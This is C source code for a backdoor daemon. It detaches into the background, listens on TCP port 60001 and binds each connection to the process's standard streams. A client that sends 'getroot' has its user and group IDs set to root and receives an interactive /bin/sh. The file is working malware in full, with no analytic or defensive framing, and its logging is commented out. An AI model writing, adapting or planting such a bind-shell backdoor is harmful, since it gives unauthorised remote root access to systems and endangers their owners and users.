#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
//#include <syslog.h>
#include <netinet/in.h>

#define PORT 60001
#define MAX_SIZE 255

void sighandler (int signum)
{
  waitpid (0, 0, WNOHANG);
}

void mainloop ()
{
  int sock_srv, sock_cli, len_cli;
  struct sockaddr_in sin_srv, sin_cli;

  if ((sock_srv = socket (AF_INET, SOCK_STREAM, 0)) != -1)
  {
    memset (&sin_srv, '\0', sizeof (struct sockaddr_in));
    sin_srv.sin_family = AF_INET;
    sin_srv.sin_addr.s_addr = htonl (INADDR_ANY);
    sin_srv.sin_port = htons (PORT);
    len_cli = sizeof (struct sockaddr_in);
    if ((bind (sock_srv, (struct sockaddr *) &sin_srv, sizeof (struct sockaddr_in))) != -1)
    {
      while (1)
      {
        if ((listen (sock_srv, 10)) != -1)
        {
          if ((sock_cli = accept (sock_srv, (struct sockaddr *) &sin_cli, &len_cli)) != -1)
          {
            //syslog (LOG_NOTICE, "connection from %s", inet_ntoa (sin_cli.sin_addr));
            if (!fork ())
            {
              dup2 (sock_cli, 0);
              dup2 (sock_cli, 1);
              dup2 (sock_cli, 2);
              operate (sock_cli);
            }
            close (sock_cli);
          }
        }
      }
    }
    close (sock_srv);
    exit (0);
  }
}

void operate (int sock)
{
  char answer [MAX_SIZE];
  char query [MAX_SIZE];

  memset (answer, '\0', MAX_SIZE);
  memset (query, '\0', MAX_SIZE);
  read (sock, &query, MAX_SIZE);
  query [strlen (query) - 1] = '\0';
  if (strstr (query, "getroot") != NULL)
  {
    //sprintf (answer, "Your string: %s, length: %d\n\0", query, strlen (query));
    //write (sock, answer, strlen (answer));
    setreuid (0, 0);
    setregid (0, 0);
    execl ("/bin/sh", "sh", "-i", NULL);
  }
  else
  {
    strcpy (answer, "Fuck out\n\0");
    write (sock, answer, strlen (answer));
  }
  exit (0);
}

void daemonize ()
{
  int pid;
  struct sigaction sa;

  pid = fork ();
  switch (pid)
  {
    case 0:
      setsid ();
      chdir ("/");
      //close (0);
      //close (1);
      //close (2);
      memset (&sa, '\0', sizeof (struct sigaction));
      sa.sa_handler = &sighandler;
      sigaction (SIGCHLD, &sa, 0);
      //openlog ("mydaemon", 0, LOG_USER);
      mainloop ();
      //closelog ();
      exit (0);
    case -1:
      printf ("[-] fork\n");
      break;
    default:
      printf ("ok. PID = %d\n", pid);
      break;
  }
}

int main ()
{
  daemonize ();
  exit (0);
}